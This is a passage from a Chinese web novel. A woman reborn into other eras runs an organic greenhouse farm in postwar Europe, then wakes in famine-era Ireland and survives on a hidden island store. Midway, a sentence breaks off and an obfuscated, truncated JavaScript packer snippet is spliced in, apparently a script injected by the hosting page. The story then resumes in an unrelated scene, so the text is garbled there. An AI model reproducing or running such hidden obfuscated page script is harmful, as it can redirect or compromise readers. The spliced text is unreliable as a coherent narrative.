本来露西娅和索菲都很懵,被苏茜用化学符号和生产过程一形容,立马转变态度。她们在苏茜的“食谱”里习惯了吃熟的,这几年都没有拉过肚子,可周围人不是这样的。严重腹泻是有损健康的,而长期食用化学物——这个谁也不知道后果。最重要的是,这可能是越来越穷、连翻修房子都出不起钱的农民们一条生计之路。 要么农场兼并,要么合作经营,要么走小而精的路线。否则大家只能解雇雇工并且自己去城里找工作,将小农场扔给老人孩子,可缺乏劳动力、买不起农机、农产品价格没有竞争力的农场又能有什么活路呢? “我们隔壁的艾劳德家,要卖掉农场,全家搬去波城。”旧法令一废止,立刻有受不了的小农场开始私下买卖。 “波城的房子能买吗?”苏茜只关心这个。 “好像是他家本来就有房子,之前被强制出租,现在收回来自住。” “奶奶,妈妈,你们如果喜欢城里,我们就去城里买房子。” “谁不喜欢城里。但是去了又怎么样?连吃的都没有,所有东西都贵。而且现在要限制房子面积,不能超过80平方米还是什么的,难道我还要出去找清洁工的工作?”索菲第一个反对。 “城里不怎么安全。”露西娅是真的怕。 “行,我们还是做有着大房子和大地窖的农民。”苏茜欢快地下结论。 还有大棚,就是有点小。 现在其实一切都没什么规范,所以苏茜自己设计、监工甚至亲自上手干活,建了个面积不算太大的三角顶大棚。农场里的人统统都来看热闹。反季蔬菜不便宜大家都是知道的,但还真是第一次看见到底怎么种出来的。 由于主打“有机”,而且大棚就在她家的房子后,隔着晒到太阳的距离,所以苏茜没用粪肥,而是用没有奇怪味道的绿肥,还在自家小小山头加种一批树苗。 其中最重要的“秘密武器”还是她自己调配的稀释营养液。现在这年代,原料还是很好买的,就是店里卖的量比较大,苏茜开了残疾人摩托,不,是倒三轮窄摩托跑了两趟才都运回来。这车还是战斗机制造商造的,他们农场一名雇农就在这种小摩托的车间里找到活儿,工资800,算是挺不错的收入。也是他开回来接家属,苏茜才知道居然有这种神器,立马跑去卖掉一对重量感人的足金镯子买了摩托。不算便宜,但价格和油耗比汽车少一大半,还加了个定制的挂钩和防撞条,以便能在车后头拖个比如牛粪拖车什么的——当她说了要求时,销售员的脸稍稍变形了下,但看在马克的份上还是去做了。 * * * 反季草莓是卖得最好、价格最高的,圣诞新年期间一筐一百块都供不应求。而其他蔬菜总体销售得还算不错。让人料想不到的是蓝莓并不在这一带受欢迎,导致苏茜不得不自家吃掉了部分成熟的蓝莓,并且将其他的都做成蓝莓果酱,作为圣诞礼物送人。其实种植的直接成本不算特别高,有价值的是知识经验和人力,以及先期建设费用的固定成本。 也就是现在很多制度不完善,不然光是有资质机构的设计费用和建筑公司的搭建费就会远远高于小农场能承受的,哪像现在她自己设计、自己买部分原材料、找瓢虫、提取碱。现在可没有芽孢杆菌等等作物疫苗,可也没有严格的检测程序——想严格也不一定找得到技术支持——苏茜其实也就是用毒性比较低的替代品罢了。其他工程类的事情找自家雇农和镇上的兼职建筑队伍就做掉了,其花费“仅仅”相当于一个冬季的收入。 索菲算完帐,长出一口气。她和女儿的积蓄都被孙女在战败前全部花掉了,换来这几年不需要在家用上花什么钱。但,将来呢?就看着孙女一直是两件跟叫花子似的长棉衣?!哦,她现在穿上牛仔裤、毛衣和油蜡布外套在大棚里干活,在农场上干活,在镇上城里跑……太不体面、太不淑女了,但这就是时代,无法抵挡。 看,明年就开始赚钱了。闻到汉娜端来盘子里的香味,索菲控制不住地塞了两片薯片到嘴里,这种西红柿味的薯片同样让人无法抵挡啊! “这真好吃不是吗?” “是的,苏珊妮小姐总是能做出特别的美味。”汉娜母女也很爱这个口味的。现在整个农场里同时流行好几种口味的薯片,苏珊妮小姐还特意去买来一个手工切薯片器,随便大家用,又快又省力。对了,现在冬季的餐桌也比以前丰富。唯一的缺点就是依然没什么钱,所以现在整个农场能够劳动的16到60岁人口——不算索菲,但算上露西娅和苏珊妮——居然只有十六人!要不是现在还可以通过农民联合会租借到土豆收获机和麦子收割机,光靠农场耕地可能只能供这些人填肚子,还是别想吃牛肉的那种填饱。 话说,没钱天天吃肉,这还是地主吗?! 有的,小地主。 至今还有很多、很多刚能回到每天能摄入一千五百大卡以上热量的人,以及因为饥饿寒冷而落下慢性疾病、几乎不可能重新恢复健康的人。苏茜家是用自己的简朴换来农场无人折损,但其实大部分地主都是会照顾自家雇农、仆役的,最多是儿子赶走父亲在世时得用的人手。也所以,家庭农场大部分都有十分稳定的雇农,尽管现在整个稳定的依附关系已经逐渐消散。 “今年小约翰也走了。”索菲对此已经很淡定。现在真正费人力的反而是大棚,可其他耕地没人提出购买或合作的意向,这一点让她不知道是应该庆幸还是懊丧。 “我确实无法开出超过三百的工资。”苏茜一点不介意。租借农机的费用远远低于养人手、付医疗保险的支出,按照面积和作物,只要有十个劳动力、包括老小就行。 “四口人在汉市一年的房租就要三四百。所以他们在农场里生孩子,享受免费住房,长大后再去城里。”露西娅语带讽刺。确切的说,她不喜欢母亲老牌地主的做派,也不赞成女儿累死自己的风格。 “可这里的食物单调,学校不好还路程长。”不到十六的娃,假期里帮她做点活计的工钱极端便宜。 “是啊,熬不住的才全部搬走。对了,苏珊妮,对空下来的两栋房子,你要怎么处理?” “先放着,我们修缮改造现在这栋房子的时候住过去。” “什么?” “你要修房子?” 两位年长的女士都很惊愕。 “是啊,煤气灶、洗衣机、热水器、冰箱……这些都是很好用的东西。还有浴室厨房都要改造。加上燃油供暖系统。”电视机就算了,质量和节目都不行。“好吧,我们慢慢来,先添个厨房的灶台,这样可以做更多好吃的东西了。然后是洗衣机,可以让汉娜不用那么辛苦。” 新的一批反季水果和蔬菜,因为同一种类刻意拉开不同成熟的时间差,总体卖得很好,保证在正常上市季节之外的大部分时间、尤其是冬季都有供应——除了贵些,没有任何不好的。今年下半年已经有农场在弄反季大棚菜,但还真没有人向苏茜这样一开始就敢用上半立体种植,上层是草莓,半错开的中层是生菜等,底层不见阳光的是芽菜。 别管卖价,起码全家人吃菜是不用额外花钱,大幅提高了幸福指数。农场圣诞礼物也是一筐鲜亮的水果蔬菜——就是食物真心比不上更长久的马克收入。 在汉市的工业越发兴盛的时候,农场里只剩下五户雇农、十一口人,其中三个是十岁以下的孩子。苏茜秉持“传统”,煤气灶、洗衣机等都多买一份供大家用。另外,她终于买到一台小功率农业拖拉机加犁头,但是收土豆、收麦子、割草等的设备得另外买或者定制。 这玩意苏茜自己就能设计啊!所以她不客气地做了,还自己上手修改装配,最后用下来完全可以。有鉴于现在社会要求女人回家,所以她一点不客气地将“发明创造”完全公开,而不是申请专利被驳回后被某个男人无耻地抢走。 “……有示意图,还拍了照片,这样再没有人能否定我做的工作。而且也方便大学生们发挥想象力和创造力。”“在此基础上的改进”也成了不值钱的专利。她还将之前的单人犁也公开了。因为不是大学生,更没有教授为她背书,投稿论文只会被扔到一边甚至被剽窃,又何必浪费精力和感情,给杂志寄出去!第二家杂志就登了,还有稿酬呢,多好。 “……你觉得好就好。”露西娅觉得女子农机发明者很扯淡,另外她确实认为几个钢铁金属刀片组合没什么可炫耀的。 “对的,还可以为别的小农场主提供便宜的做法。”索菲还将定制的“铁匠铺”推荐给几个邻居,并不介意知识产权这种玩意。“什么都靠买的话,种地收入根本不够。” “妈妈,没人要收购或是土地合作吗?” “真的没有,我也奇怪,好几个小些的农场联合起来,就是撇下我们。”也许是因为男农场主们不想跟脑回路奇怪的三代女地主沟通。 “没事,大不了我以后都做大棚和种树。橡树成材需要很多年。” 索菲看看孙女,“橡树需要近百年才能造船。” “我们用来烧壁炉就行了。”苏茜完全无所谓,尤其是橡木,甚至是不允许随便砍伐的,种下去就意味着有生之年无法做大型农场的一小部分。“做家具、做酒桶的话二十几年也够了。” 不过最终苏茜新种的树都是白桦,在自家和雇农房子、靠近道路的那一侧空地种了好几排,可以稍微降低噪音和保护一点隐私。顺便把水泥路铺到自家房子门前。 这一年赚的全部投在这些里面。而原来土地里种出来的那些口粮,除了十几口人吃的,其他都通过农民联合会统一卖掉,比原来的价格高几个芬尼,加上雇农们自行居住、养鸡种菜所节省的生活费,最终留在农场里的青壮年妇女和老少男丁稳定在十口人。 等政局稳固、还重新组建起军队的时候,苏茜觉得自己的劳动强度比之前低,收入比以前高。 是时候再做点正儿八经的农业田间试验了。 比如优选土豆种子,比如和其他作物甚至养鸡来轮作。苏茜甚至买了屠宰场淘汰掉的小型家禽脱毛器,就为了方便大家做鸡肉料理。 “炖鸡肉真好吃!”鸡肉软烂入味,尤其适合老年人,而且居然是用啤酒煮的。 “炸鸡确实需要多腌制。”超级好吃!就是费油,好在用的是最便宜的进口豆油,不然成本偏高。 “鸡排也不错。”口感快赶上年轻时在法国餐厅吃到的牛排。话说,现在也有高级餐厅,但价格有些受不了。 “吃些鸡肉藜麦沙拉。”低脂低糖低胆固醇,蔬菜不仅是有机的、还在开水里焯过,配合奶油南瓜汤和水果蛋挞,其实热量不低,足够中等体力劳动的消耗。 汉娜的女儿现在在上高等技校,节假日帮苏茜干活、拿点兼职工资,但对学校评价不高,“我觉得我们学的餐点制作还没有自家做得丰富好吃不容易胖。还有农业,我去旁听旁观过,还翻过教材,连立体种植大棚都没有,更不要说灯光波长和二氧化碳的问题。苏珊妮,你真的不需要去浪费时间精力。” 苏茜表示,她学的农业知识是五十年后的,甜点技能是一百年前的,菜肴搭配融合各国各时代,配合现在不算太现代也不是很古老的时空背景,让不明真相的孩子出现认知错误也没办法。 …… 一周工作六天,每天忙碌五个小时,周一休息写些东西。苏茜觉得自己的作息安排没问题,索菲眼里孩子真是委屈坏了。 这一年的房子只是小修小补,但用上了进口的电热水器。另外,新的大棚加装了有些耗电、效果还很一般的补光灯——没有各色LED灯,因为还没发明出来。但相对便宜的雇农和更多的利润让苏茜考虑改造粮仓、地下室和雇农小屋。 “对,改为更加保暖实用的三层公寓楼,独立供暖,有厨卫,差不多80平米,一共六套。” 老人老办法,新人新办法。第一次大战前就在这里工作的老人是会在此养老的,平时随便做点事情就算工作;少年人跟她签未来雇佣合同而去读大专,将来是雇工,住宿舍,按法律规定保险。 一年以后,拆掉改建的电气卫浴齐全新宿舍套房摆在那里,雇农们还是乐意搬去新房子的,虽然小,但有很多他们真的买不起的电器、方便的洗浴、煤气灶电烤箱和冬季温暖的室温。旧房拆了以后改为新的仓库兼工作间。 苏茜的目标是曾经工作过的家庭大棚农场以及大学实验室性质的生态试验田,但现在的技术真心还差了点。比如她想弄轨道和在轨道上自由推拉的工作梯根本无法实现,只能种矮一些、适合身高的作物。至于种子,也是让人叹气。此外,再在少量的空地种上苹果、梨、李子树,进口水果忒贵,那就自己种些本地气候可以存活的。 …… 农场里不再有新生儿出生,却迎来了生命的消逝。一位比索菲略小几岁的老妇人突发脑溢血,送到医院后不久就过世了,骨灰葬在公墓,不过她的女儿和外孙子女仍然在农场里——这个时代只上过初级学校的中年女性不可能找到什么工作。 索菲受的打击尤其大。她的健康状况不错。此时没有完善又不贵的体检,更没有基因检测。苏茜只能从饮食和生活方式上改善,好在两位长辈对自家种的菜、养的鸡非常认可,也习惯了煮熟或大半熟的蔬菜,比经常吃炸烤腌猪肉健康不少——猪肉她都是将瘦肉切成丝在橄榄油里滑炒,再加上彩色蔬菜,老人小孩都喜欢吃。 农业这一行,竞争无处不在,又不那么重要。经济的变好,让消费慢慢起来。虽说这里是仅次于英伦的暗黑料理,但在膳食纤维软糖出来前人们还是要靠蔬果来维持机体功能的,何况与每天土豆洋葱甘蓝比,能多点颜色花样口感的当然好。 另外,蓝莓的销量总算是上来了。苏茜也在做新的一批营养土和植物性农药、营养剂,蚯蚓在没有鸡帮忙控制的情况下繁衍得不错,就是数量始终上不去。她至今也不敢大量养蚯蚓,就怕方式不当导致生病而全部损失掉,蔬果也是如此、怕染病不敢种太多且都是隔离开的。要不是现在微型水泵等没有出来,她都想全部上水培了!那玩意多干净啊!当然,水培的话损失起来也是全部完蛋,比种在地里惨多了。 所以不论哪种种植,都不容易啊! 汉市的发展,让她这样的反季有机蔬菜种植场日子不错。即使需要送货,小小倒三轮一次能送两家——这年头大型连锁超市还没完全成型,很多都是靠街道小店批发采购然后零售卖出去。苏茜也就是依靠送货上门,手里有一批六十公里范围内的客户,从来不愁卖菜难。 就是经常需要半夜采摘凌晨送货。 “今天真是谢谢你!”老板娘很客气地还送了块甜甜圈。 “没事,有需要给我电话!”苏茜微笑着接过包装纸,几口下肚,再喝几口水壶里已经冷掉的茶水。去下一家。 跑完两个客人,回到家,还能赶上再吃点早餐。 “苏珊妮,亲爱的,你早上四点就出门了?”露西娅应该是更年期到了,情绪有些不稳。 “是啊,所以今天休息。妈妈,我等会就上楼睡一觉。” “好好,那就少吃一些,吃太饱躺下对健康不利。” “我明白。” 进了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“举个例子,玻璃大棚里种白芦笋,土壤就需要消毒和适量增加白芦笋消耗比较大的各类营养成分,比如说……”苏茜从不主动跳出来,但一旦被点名就要控场。“当然,苜蓿草、花生、萝卜、半散养的鸡和蚯蚓,以及厨房多余的有机垃圾等等处理过后的地块,对种植不论是哪种作物都有好处……哦,鸡?当然是吃到肚子里,我家厨房有三十几道鸡肉为主的食谱,保证轮作养地期间的伙食……如果是大的地块,与牧场合作是唯一出路……战争期间和战后那几年食物短缺的时期,我尽了全力让四十个雇工、从六十多的老人到一岁的孩子,每一个都能吃饱穿暖,有碳水、蛋白质和膳食纤维,有煤、有棉衣、有毛裤和厚毯子,就是靠交换食物和土豆。” “真羡慕!”讲师苦笑。他挨过饿、受过冻,哆哆嗦嗦每天只有一千大卡食物勉强活下去,很清楚这样的农场主简直是圣光普照。“我很佩服你,佩普女士。” 之后这位讲师再也不叫经常显得心不在焉的苏茜回答问题。另外,作为什么都是自己上的小农场主,和几顷地可以随便折腾的她,实践课程的成绩比理论课可高多了。 最后,突然听到可能需要资格证书才能继承农场的风声后参加大学入学考试的苏茜,花了快四年时间才拿到专业学院的毕业证和资格证。 “念些书总是好的。”索菲对此挺有心得,她在自己的年代上过几年女子学校,后来坚决支持女儿跟儿子一样念中学,到了孙女这一代算是高等学校,虽说比不上博士什么的高大上,但作为小农场主来说也够了。 “……”露西娅没有多说继承农场之类的话,这个只能跟女儿讲,不能多在敏感多思的老妈妈面前说。 索菲就一直撑到78岁。在大家都认为她能活到80岁的时候,在门口台阶突然摔了一跤,苏茜开了微型卡车送她去医院做固定手术后就一直昏迷不醒,几天后就过世了。 经历了两次大战和丧夫丧子,从贵族后裔沦落到拮据的小农场主,索菲十岁以后就都没过过什么好日子,唯一值得安慰的是走得没有痛苦。苏茜估计她应该是癌症晚期,但是疼痛不明显而没有去医院检查——现在可没有多好的筛查技术,几乎很难查出来原因。 露西娅郁郁寡欢了很长一段时间,被女儿拉去大棚天天干活后才恢复过来。母女俩同款的黑色冲锋衣裤还没脱下来,农场里另一位老人在镇上买自家东西的时候被车撞了,在医院里没有支撑多久也过世了。医疗丧葬费当然不需要苏茜出,也没有未成年子女,家属难过了一阵子也就是放下,举家搬离不算太宽敞的公寓,正好留给季节工当宿舍。 汉娜正式退休后,她的女儿也去上职业学校学农业,而不是当个没什么钱的帮佣。 主屋也干脆推倒重建,这次直接改为燃油、壁炉和电取暖器都可以使用的大平层,甚至还买了两个小型发电机。露西娅不明白苏茜对壁炉和种树的执着,但也不会反对,她正沉迷于电视节目和苏茜的一批“创新菜”,并且为电饭煲做出来的大米口感点赞。 “华人在饮食方面确实有独到的地方。”但是打死不承认比自家传统食物好。 “经常换口味、增加食物的品种对健康有好处。”苏茜呵呵,表示明天换意餐,后天上比较“传统”但不算折腾的法餐,过几天试试西班牙和希腊的,保证用复杂的菜系和手法让老妈妈的脑筋打结。 妈妈确实上了年纪,头发都已经灰白,但精神不错、健康状况也好。 哦对,贵金属金融体系明年就不行了,她可以先买块金块,呃,可能买不起?那就买金条。 一边想着,一边等焗饭到时间。现在的电烤箱不是很智能,实际上却很简单好用,从来不会因为显示器失灵而成为废品。 “苏珊妮,昨天是披萨,今天是焗饭。电烤箱在你手上真是用到极致了!” “那当然,不然多浪费钱。来,妈妈,我自己调的油醋汁配鸡肉沙拉应该还不错。”母女俩的晚饭热量不算低,一饭一沙拉,但她半夜就要起来,得忙到上午甚至中午才吃,所以将大半米饭放进自己盘子,老妈还是少吃点。 “你明早要去送货?” “是的,找物流公司太贵,店家自己又安排不出车子。”一来一去的,一趟货能多收入上百块,去掉二十块左右的汽油成本,她明天直接躺平。“反正我送完就休息。” “好吧。”现在很少有生鲜小店了,大部分是一定规模的超市,真正大超市会自己去大供应商那里收货,所以自家这类小供应商就得自己送货。 “总之,物流人工越来越贵,反而中小店家更适合我,不是吗?” “你总是对的。”露西娅无奈道。 半夜起来,苏茜在冲锋衣里加了件羽绒服,牛仔裤里穿上秋裤,走进烧煤加温的大棚,谨慎地开吹风机防止自己一氧化碳中毒,然后摘了十几筐菜和水果,开着没有空调的小卡车去送货,顺便结上一次的账单。 为了节省成本,她选择不装大棚的门、开气窗的同时烧煤来增加植物所需二氧化碳和温度,但如果氧气不够,那就是一氧化碳的问题。但总体上,这个不算大的大棚和通风条件一般不会导致一氧化碳中毒。还有就是,检测设备太贵又不智能,一切只能凭经验。只要不换算美刀与黄金,她觉得自己现在的劳动收入还不错。 如果卖金条的银行没有拒绝回购的话,她会更愉快。 “多的相当于支付的手工费。”苏茜跑了三家首饰店,终于找到乐意用金条“兑换”千足金而非合金金饰的店——主要是这家店老板正好在,可以当场拍板,按现行金价换打折后同等零售价的金饰。 回来把最好看的几套项链耳坠胸针孝敬给老、妈妈。 露西娅是高兴的,别管以后这套首饰仍然会给苏茜,可现在就是她戴的,是她的漂亮首饰。少女时代就家道中落的露西娅只有一些索菲留给她的老首饰,最值钱的是一套镶红宝碎钻的项链,战时索菲本来想卖掉的,结果在首饰店估的典当价让她目瞪口呆之后就不再戴了。如今拿了千足金和跟这个一比对就知道,原来项链的纯度没那么高,加上碎钻本身没什么价值,红宝石又是做成造型的小颗粒,即使当时的买入价很贵,等需要钱的时候却发现这根本不值钱。这次女儿给的则是实打实的金和宝石,没有花里胡哨不值钱的合金跟碎钻以及一半的设计费,任何时候都保值。 露西娅唏嘘的时候,苏茜则是在计算能不能再次活到人工钻石上市,好定制个五十条钻石项链——小颗钻石就好,不然就是在坑人了。她手头即使有“古董”,有高级货,讲不了来历故事的非足金就是合金、玉石就是石头,只有大颗宝石钻石才有价值——若干年后,钻石还需要鉴定是人工还是天然,因此除非拍卖否则依旧只给18K金的价。要不是有的时候还是金饰、金币、铜钱、银元好出手,她早就将所有金属都融炼提纯成块! 这个国家对金融投机持谨慎态度,所以她也不去弄金属银了,倒是在银大涨价之前又买了一批银饰和去黑洗银的化学试剂——后者是添头,没花什么钱。 倒是另一类合成物引起苏茜的兴趣。人工合成尖晶石,从祖母绿、红蓝宝石、透明水晶到五彩欧泊,品质都属于中上,非常适合跑古代去换合金钱币而不用良心不安——古代可是有顶级大宝石的、价格自然也不便宜,她没必要给自己找麻烦。苏茜故技重施,依旧找之前合作愉快的首饰店,用一盒“古老”却依旧金灿灿的金元换回来两盒机器雕琢过的合成晶石,甚至还用金元跟一户人家私下换了一把上次大战时的老款左轮跟子.弹。两年后,她买下来不少比废铁贵不了多少的上世纪旧刀剑和弓箭,当然现代弩弓尤其是钢箭也买了不少。 露西娅过世那年,苏茜觉得自己还没有老。 尽管没多少修炼时间,她状况一直能维持在四十不到,所以她卖掉农场后去学护理专业——居然还毕业拿到资格证书了。她给各处的养老院投简历当护士,顺便解决住宿和六十岁前社保医保和护理险之类的问题。 “你觉得自己在这里工作最大的收获是什么?”记者逮住一位中年女护士问道。 “大概是,亲眼见到很多事情在变好吧?”苏茜笑得意味深长,答得颇有禅意。 62.沉默的土豆(一) 饿…… 饿啊…… 饿死了…… 第二次感受到活活饿死威胁的苏茜连滚带爬地出小屋、回岛上,用尽仅剩的力气打开密封罐。最外面的罐子不沉且重要,因为里面是冰糖、蜂蜜、盐、武.器、火柴、燧石、果木炭、蜡烛之类活命品。塞了一把冰糖进嘴,趴在雨水过滤池对嘴直接喝水,花了好几分钟才慢慢平复些,然后继续吃冰糖。 半小时后,甜得失去知觉的舌头让她意识清醒过来,慢慢走去燃料山洞,用废纸包住几块煤,回来,直接将炉子半倾倒弄掉大半灰土后将煤放进去。然后甩居然还能用的火柴点燃废纸,燃起煤。 再冲洗一下不锈钢锅,然后拿柄刀子去撬贝壳。不管是整只还是半只,只要有肉都进锅。 以自己没有食物的身体力量而言,锅子颇沉。慢吞吞提着吃的回去,放炉子上,再用另一个小锅稍微洗洗,舀了半锅水注入贝壳里。喝水洗锅都在同一个水池,不过现在不是计较这些的时候。 加一把盐,等水开,开一会就找来布换锅、煮开水。 煮开了几分钟的贝壳肉也没啥特别的味道,苏茜边吃边将多余的热水倒入水渠。半锅贝类吃完,整个人好了一些。 她提着空锅回到赶海礁石区——贝壳?似乎扔进水渠用水冲走了——继续弄贝壳,这次有力气直接加一些海水提回去煮。 大概两百口小小的贝肉下肚,人似乎彻底活过来了。 吃完拿了非金属和镀锌不锈钢丝两种四个渔网去找船。 船和浆被几十年的风雨吹得险险就要掉海里,很容易就推进海里。 出海捕鱼。 即使灵魂是好手,身体肌肉没有捕鱼的记忆,操作起来十分费劲。最后一网因为力量不对直接翻进海里,好在鱼没跑掉。 这个身体抗冻扛饿——扛不了的早就死了——加上肚子里有些能量,无惧秋天海水的凉意。这也算是用咸水清洗消毒了。她一身,哦,跳蚤虱子没有活口,但脏得可以。尤其是脚,比光着脚在岛上走路还要糟。 海水带来的刺痛让人无比清醒。 一鼓作气再去下海带区 收藏的潜水装备已经不太顶用了,在眼睛受不了海水刺激的时候,苏茜弄到了足够的膳食纤维。 好像是午后了,天气开始下雨,不大的雨被风吹着打在脸上,更加清醒。 斜风中雨里,苏茜一边想着明天可以不需要出海,一边提着找来海边破旧集装箱里水桶加了海水养鱼,一边挑了条大鱼去鳞去内脏去头去尾,然后不出意外地抓到一条中等的鱼和一只傻乎乎的蟹。 鱼肉和张牙舞爪的蟹都提回厨房。 先将螃蟹扔进开水,然后用最后一点力气去地下室搬出来一坛黄酒,开封后直接倒一些。哦,还有盐。 走廊顶是研究过风向、不断加固维修过的,有的路段加了半拉砖墙,只要不是横着刮大风下大雨,在走廊串起的屋子、山洞、烤炉、地下室、石屋、厨房之间没有雨。 将鱼肉切段,在水里放几段,加小半根新鲜海带。然后清洗餐具。 开吃。 吃完,正经算是活过来了。 再试试打火机,便宜打火机漏气了,但高级打火机居然还能用。搬来木炭,边慢慢烘干海带跟鱼,边打找出来用品扫清洁石屋,天已经黑了。 塑料扫帚之类勉强能用,工具布料服装鞋帽,除了部分尤其是纯棉的开始发脆之外,冲锋衣裤、毛衣毛毯、化纤棉衣被褥基本都还能用,就是棉花被子只能当成老旧被褥垫着了,亚麻床单扯几下也没问题。从自然损耗程度来看,说明也就过去大概不到三十年。 雨不下了,厨房和石屋都点起玻璃杯蜡烛。 苏茜点起火塘,将海鲜继续放在火塘上方继续熏烤,然后铺上破棉被亚麻床单,盖了两条旧毯子躺下。 这个身体因为生母时不时给照拂而没有每天靠吃土豆糊口,加上年纪不大,总体没有出现太大的健康问题,但也快了。自从生母跟着主家去伦敦,她名义上的佃农父亲就变了脸,确切的说是土豆变了脸。 佃农平时为地主种地,靠房子周围的小块土豆田养活自己。每个佃农要么靠帮佣换食物如她生母,要么靠土豆填饱肚子,得到额外钱财就去买土豆酒,然后娶个其他佃农的女儿生孩子——人人都这样过。可现在家里的土豆都发霉了,土豆叶子发霉了,地里的土豆也发霉了。 学农业的都知道,连续单一种植的后果非常严重,头一个例子就是晚疫病导致的□□——她现在正是在土豆刚开始全面霉变的爱尔兰…… 岛上比现实里暖和一点点,但已经是秋季,没有稻草的话自己会受冻的。哦,“父亲”已经不给她用毯子了,理由是新生儿更需要,她如果想继续过好日子去找生母。对了,生母和“父亲”没有在教堂婚姻簿上登记,只是共同生过两个孩子、也就是她的哥哥姐姐,之后生母就去了另一家英格兰人那里做女佣,然后就有了她的出生……之后除了她还会去找母亲外,“父亲”和兄姐都不再跟母亲来往,甚至“父亲”还另外正式娶妻了。 两间小屋里生活了足足九口人!不,以后就是八口了,再之后……更不知道了会死掉多少个。 * * * 除了半夜里起夜一回,苏茜睡到第二天上午。 天气难得不错。 吃完海鱼煮海带,继续处理鱼和做鱼干。然后烧水,用二十多年前的香皂洗头洗澡烘干头发,浴桶水盆全是上辈子的。 下午弄一下种植园。种植园是她上辈子用水泥和木头建起来的一块空地,水泥比地面高一米,只留个自己走的口子,泥土都是后面放进去的营养土。水泥没有底座,只铺了一层木板,水可以渗透到地下。水泥基座上方是木头架子,架子上的爬藤植物还活着,挡去一半的雨水和大半的阳光。岛上如果要种喜太阳的作物本来就必须补光,所以这类作物的种子很少、保存到现在的更少。但阳光再少也得种了看情况不是,尽管这些种子可能都不行了,可总要试试。 第三天,她找到山洞中保存的火灵木,搬了些进石屋,在壁炉里点燃其中一块,然后清点自己的收藏。 还有钱币! 她的年份钱币是刻意收集的,总量是很多,但是分到不同年代就不是那么多了。举着蜡烛——手电筒电池废了——找了半天,终于找出几盒氧化严重的克朗与半克朗银币,好在自己在存放着的过期化学剂还能用,直接倒盒子里,等银变白了再用清水冲洗。化学剂基本冲没了再上手分辨年代,找出来比现在的年代——从社会现状、服装和萎缩发黑的土豆就知道年代——更早的银币,按年代样式分开,每一款十到一百个不等。 苏茜挑了数量比较多的那种,抓了一大把,趁着深夜将银币放在“父亲”所在屋子的门口,然后披着一块毛毯——母亲给的毛毯早就被抢走了——深一脚浅一脚地朝着印象里贝港的方向而去。 这时,土豆发霉的问题还没有彻底成为恐怖的饥荒,庄园管事们没接到麦子出问题的消息自然很定心,镇子集市店铺还算正常。苏茜没敢在这里停留,而是绕过镇子。 天亮前,她回到岛上。煤炉上小火烧着的一大锅水早就开了,煮个鱼干海带,睡觉。 第二个镇子是原身从来没来过的,苏茜当然更没有影响。 别的不说,这里有面包和蔬菜卖。蔬菜里包括土豆,这些都是供应镇上居民的卖相不错的土豆,没有蔬果种子卖;有橄榄油鸡蛋但没有单独卖面粉和牛肉的,不知道是什么原因。 苏茜才不管,拿着英格兰的货币大买特买,在引起关注之前就已经回岛。 这次终于不需要天天海鱼海带汤了,吃得她都觉得自己就是一条搁浅的鱼。先,弄个蔬菜面条,再来个蔬菜鸡蛋馅饼。 吃完这些生鲜,她又找到新的购物集市。这次买到了牛奶乳酪。没有海鲜过敏,没有乳酸不耐受,人生还是可以期待一下的。 …… 壁炉里前一块火灵木快烧完了,继续加一段桦木——上辈子存的——然后屋中地面的老式火塘里也用煤升起火,然后换上冲锋衣裤后准备吃食。 干了十几个半天的农活,做了一筐鱼干虾干海带干,走了十几个晚上的夜路,才到达贝港附近的一个镇子。 贝港还不是贝城,除了造船厂、商人仓库和英格兰贵族庄园宅邸,没有本地“土著”的地盘。 苏茜用旧毯子包裹着一身破旧衣鞋,像个乞丐一样在镇子外围的低矮棚户里找服装“店”,或者说是家庭主妇们兼职裁缝的半对外棚户,终于找到一家在上午营业的,在妇人的存货里找到自己可以穿的棉布衬衫长裙、棉袜、毛袜、半靴和厚斗篷。苏茜现在身高没有完全长开,中长款斗篷可以当长款来保暖,苏茜付了一把银币才带走这些“贵价好东西”。 出来后她在贫民区转了几圈回岛上换装,一身温暖体面些的装扮进镇上好些的裁缝店,买了好几件略大些的、材质好些的长裙、长内衣和羊毛披肩。束身衣这种东西她为了体面也买了。付给店里的是金币,忘记什么时候自己仿的,份量一致、成色肯定更纯。她现在能用的金币存货不多,所以还去了趟首饰店,用三个镶嵌红色人造尖晶石的足金戒指跟老板换了十个金币,相当于今天买的所有衣服鞋帽包括行李箱。 谁也没吃亏,起码苏茜知道自己没吃亏,那些尖晶石真心不贵。另外,她的伦敦英语加分挺多——哪怕有原来的记忆,她的盖尔语仍然不甚标准,干脆转为英音——不然可能被本地腔英语的老板压价到八个金币。 最后,苏茜从杂货铺买了不少日用品,还从药铺买了不少化学试剂,除了可以充当营养剂的,还有可以去掉银子表明的黑色,就是去除效果略差,还会导致银子更严重的“瘦身”,另外什么洗发膏洁面粉洗衣皂牙粉甚至化妆保养品等等应有尽有,就是质量堪忧,不知道哪些是有毒的。 真是神奇的药铺。 等补完货,苏茜第二天大清早换上中产阶层中下档次的衣帽,大大方方雇了马车去港口找客船或渡轮。 结果今天只有一班客运船去利港——本月都没有去北美的船——今天出发明天到,尤其苏茜的人设是个小中产,因此按时间距离来算,这一张二等舱包两餐的船票价格挺贵。 苏茜当然不会在冰冷的房间里睡那张脏兮兮的窄床、盖不知道多少人用过的毯子。石屋里早就换了很多新的日用品,杂货铺里用金币买来的全新厚毯子软垫褥床单等等都是洗过晾晒了铺上用的,在烧了壁炉火塘的屋子里温度湿度正好。 船是第二天上午九点多到的——金属怀表、行李箱等都是是足金戒指换的,同样是在什么都有的杂货铺——苏茜拎着不大的二手行李箱第一个下船。 到了英格兰的地界,似乎食物一下子丰富起来。虽然谷物法仍然有效,根本吃不到大米和其他食材,但总比只有单一的土豆让人愉快。苏茜乘船离开的决策几乎是本能,就是逃离饿死的境遇。那么,接下来呢? 是在湿冷的英格兰,还是去凉飕飕的纽约?被食物占满的大脑皮层终于空出来一半思考未来。还有她现在的年龄,不太有利。 马车夫停下车。 本地的中档旅店,位置在市中心商业街不远处,免费提供早餐。之所以是次一等的中档,是没有豪华露台大套房,但有壁炉和独立盥洗室的“豪华”单间。 “现在有早餐吗?” “有的,女士,需要送来吗?” 